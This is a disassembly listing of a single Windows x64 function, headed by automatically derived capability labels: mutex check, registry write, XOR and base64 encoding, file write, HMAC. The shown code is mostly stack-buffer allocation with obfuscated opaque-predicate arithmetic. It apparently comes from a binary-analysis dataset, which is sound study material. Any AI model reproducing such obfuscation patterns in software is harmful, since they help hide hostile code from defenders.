Function at 0x140064c80
Capabilities:
Authenticate hmac
Check mutex on windows
Encode data using base64
Encode data using xor
Set registry value
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1b18
call fcn.14021cf50
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1a80], xmm7
movaps xmmword [rbp + 0x1a70], xmm6
mov eax, dword [0x1415b1970]
mov ecx, dword [0x1415b1974]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x62e04dbd
and ecx, 0x9d1fb242
imul ecx, edx
mov edx, eax
and edx, 0x9d1fb242
or eax, 0x9d1fb242
imul eax, edx
add eax, ecx
mov ecx, 0xa5ae0c27
imul rcx, rax
shr rcx, 0x3f
imul eax, ecx, 0x97d665bb
cmp eax, 0x92f46068
ja 0x1400654ca
mov ecx, dword [0x1415b1978]
and ecx, dword [0x1415b197c]
xor ecx, 0x2ee595d6
imul rax, rcx, 0x75073f13
shr rax, 0x20
sub ecx, eax
shr ecx, 1
add ecx, eax
shr ecx, 0x1a
add ecx, 0x87558509
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfe8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfe0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfd8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfd0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfc8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfc0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18a8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1970], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1960], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19b0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1900], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfb8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfb0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1a00], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19f0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfa0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xfa8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18f0], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18a0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1920], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19a8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1a48], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1930], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19e8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19d8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1830], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1820], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1828], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1810], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1808], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1800], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1978], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1a50], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1850], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1078], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1938], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1940], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1968], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1858], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1070], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1840], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1848], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17d8], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1928], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1a60], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17e0], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1980], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1838], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1818], rsp
mov eax, 0x60
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1700], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1068], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1060], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1708], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1028], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1030], rsp
mov eax, 0x60
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1038], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1040], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1048], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1010], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1050], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1058], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1018], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1020], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1008], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xff0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0xff8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1000], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r13, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r15, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rdx, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r8, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r9, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r11, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r14, rsp
mov eax, 0x70
call fcn.14021cf50
sub rsp, rax
mov rax, rsp
cmp ecx, 0x5840a3a0
jae 0x1400659d6
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov eax, 0x60
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x60
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov eax, 0x70
call fcn.14021cf50
sub rsp, rax
jmp 0x140064d0a
mov qword [rbp + 0x1738], rax
mov qword [rbp + 0x15e8], r14
mov qword [rbp + 0x1630], rdi
mov qword [rbp + 0x1628], rsi
mov qword [rbp + 0x1620], r11
mov qword [rbp + 0x1618], r10
mov qword [rbp + 0x1610], r9
mov qword [rbp + 0x1650], r8
mov qword [rbp + 0x1648], rdx
mov qword [rbp + 0x1640], rbx
mov qword [rbp + 0x1638], r15
mov qword [rbp + 0x1668], r12
mov qword [rbp + 0x1660], r13
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1868], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r13, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1578], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1580], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1588], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1590], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1598], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15a0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1560], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1568], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1570], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1548], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1550], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1520], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1528], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1508], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1510], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1488], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1490], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1498], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14a0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1790], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14d8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1478], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1480], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1460], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1468], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1418], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1420], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1428], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1430], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1438], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1440], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1780], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1400], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1378], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1380], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1388], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1390], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1398], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13a0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1348], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1350], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1358], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1360], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1318], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1320], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1328], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1330], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1740], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1788], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1300], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1308], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1310], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12d8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1278], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1280], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1288], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1290], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1298], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x12a0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1238], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1240], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1268], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1270], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1248], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1250], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1258], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1260], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11d8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1728], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1200], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1208], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1210], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1218], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1220], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1228], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1230], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11a0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x11a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1150], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1158], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1160], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1198], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1860], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1168], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1718], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1170], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1720], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1178], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1180], rsp
mov eax, 0x10
call fcn.14021cf50
